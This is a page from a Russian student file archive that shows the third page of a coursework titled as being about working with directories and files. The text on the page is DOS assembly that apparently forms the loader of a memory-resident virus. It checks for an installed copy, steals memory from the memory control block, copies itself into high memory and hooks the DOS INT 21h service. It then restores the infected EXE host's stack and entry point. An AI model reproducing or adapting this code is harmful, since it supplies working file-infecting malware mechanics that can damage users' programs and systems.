48468 (Работа с каталогами и подкаталогами. Работа с файлами), страница 3
Описание файла
Документ из архива "Работа с каталогами и подкаталогами. Работа с файлами", который расположен в категории "". Всё это находится в предмете "информатика" из 1 семестр, которые можно найти в файловом архиве . Не смотря на прямую связь этого архива с , его также можно найти и в других разделах. Архив можно найти в разделе "курсовые/домашние работы", в предмете "информатика, программирование" в общих файлах.
Онлайн просмотр документа "48468"
Текст 3 страницы из документа "48468"
MOV AX, 40h
MOV ES, AX
CMP byte ptr ES: [134h], 55h
JE no_tsr
MOV byte ptr ES: [134h], 55h
MOV AX, DS: [02]
SUB AX, 30h
PUSH DS;>>
PUSH CS
POP DS
m1: MOV SI, OFFSET my_head
MOV ES, AX
XOR DI, DI
MOV CX, my_end – my_head
CLD
REPE MOVSB
POP DS
MOV BX, DS
DEC BX
MOV DS, BX
SUB word ptr DS: [03h], 30h
SUB word ptr DS: [12h], 30h
XOR BX, BX
MOV DS, BX
MOV AX, DS: [21h*4+0]; 48Bh
MOV word ptr ES: [saved_int21–100h+0], AX
MOV AX, DS: [21h*4+2]; 5BDh
MOV word ptr ES: [saved_int21–100h+2], AX
CLI
MOV word ptr DS: [21h*4+0], OFFSET int21_treater – 100h
MOV word ptr DS: [21h*4+2], ES
STI
no_tsr:
POP AX
MOV DS, AX
ADD AX, 10h
POP ES
CMP word ptr CS: [00], 20CDh
JNE no_first
RET
no_first: CLI
saved_ss: MOV CX, 1234h
ADD CX, AX
MOV SS, CX
saved_sp: MOV SP, 1234h
STI
saved_cs: MOV DI, 1234h
ADD AX, DI
PUSH AX
saved_ip: MOV AX, 1234h
PUSH AX
RETF
data_exe:
my_end:
MainProcedure ENDP
CodeSegment ENDS
END Start